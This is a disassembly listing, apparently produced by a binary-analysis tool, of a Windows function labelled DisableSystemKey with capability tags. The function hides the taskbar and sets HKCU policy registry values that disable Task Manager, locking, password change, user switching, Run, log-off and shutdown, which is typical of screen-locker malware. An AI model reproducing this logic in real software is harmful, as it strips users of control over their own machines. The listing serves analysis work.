Function at 0x4026e0
Capabilities:
Disable system features via registry on windows
Find taskbar
Hide graphical window
Hide the windows taskbar
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
push esi
push edi
push ebx
push ecx
push str.DisableSystemKey_start___
push ecx
push 0x4200a4
push ecx
push 0x21f
push ecx
push 0x4200a8
push 0x424608
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00402c80
add esp, 4
push eax
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00402ab0
mov esi, dword [sym.imp.USER32.dll_FindWindowW]
push 0
push str.Shell_TrayWnd
call esi
push 0
push str.Button
mov edi, eax
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000001
call esi
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_
push 0x80000001
call esi
xor ecx, ecx
test bl, bl
setne cl
xor edx, edx
test bl, bl
setne dl
mov dword [esp + 0x28], eax
mov dword [esp + 0x10], ecx
lea esi, [edx - 1]
and esi, 5
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
call edi
mov eax, dword [esp + 0x20]
push esi
push eax
call edi
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
mov edx, dword [esp + 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push str.DisableTaskmgr
push edx
call esi
mov ecx, dword [esp + 0x18]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.DisableLockWorkstation
push ecx
call esi
mov eax, dword [esp + 0x18]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push 0
push str.DisableChangePassword
push eax
call esi
mov edx, dword [esp + 0x18]
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
push 0
push str.DisableSwitchUserOption
push edx
call esi
mov ecx, dword [esp + 0x14]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.NoChangeStartMenu
push ecx
call esi
mov eax, dword [esp + 0x14]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push 0
push str.NoClose
push eax
call esi
mov edx, dword [esp + 0x14]
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
push 0
push str.NoLogOff
push edx
call esi
mov ecx, dword [esp + 0x14]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.NoRun
push ecx
call esi
mov eax, dword [esp + 0x14]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push 0
push str.NoSetFolders
push eax
call esi
push 0
lea ecx, [esp + 0x30]
push ecx
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 1
push 0x61
call esi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0x1000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
lea eax, [esp + 0x24]
push eax
push 8
test bl, bl
push 0x3a
sete byte [esp + 0x1c]
mov dword [esp + 0x30], 8
call esi
test eax, eax
je 0x402920
mov ecx, dword [esp + 0x24]
mov al, byte [esp + 0xc]
shr ecx, 2
and cl, 1
cmp al, cl
je 0x402920
test al, al
je 0x40290e
or dword [esp + 0x24], 4
jmp 0x402913
and dword [esp + 0x24], 0xfffffffb
push 0
lea edx, [esp + 0x24]
push edx
push 8
push 0x3b
call esi
push ebx
push ecx
push str.DisableSystemKey_end___
push ecx
push 0x4200a4
push ecx
push 0x23c
push ecx
push 0x4200a8
push 0x424608
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00402c80
add esp, 4
push eax
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00406f50
add esp, 0xc
push eax
call fcn.00402ab0
xor eax, eax
cmp dword [esp + 0x28], eax
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret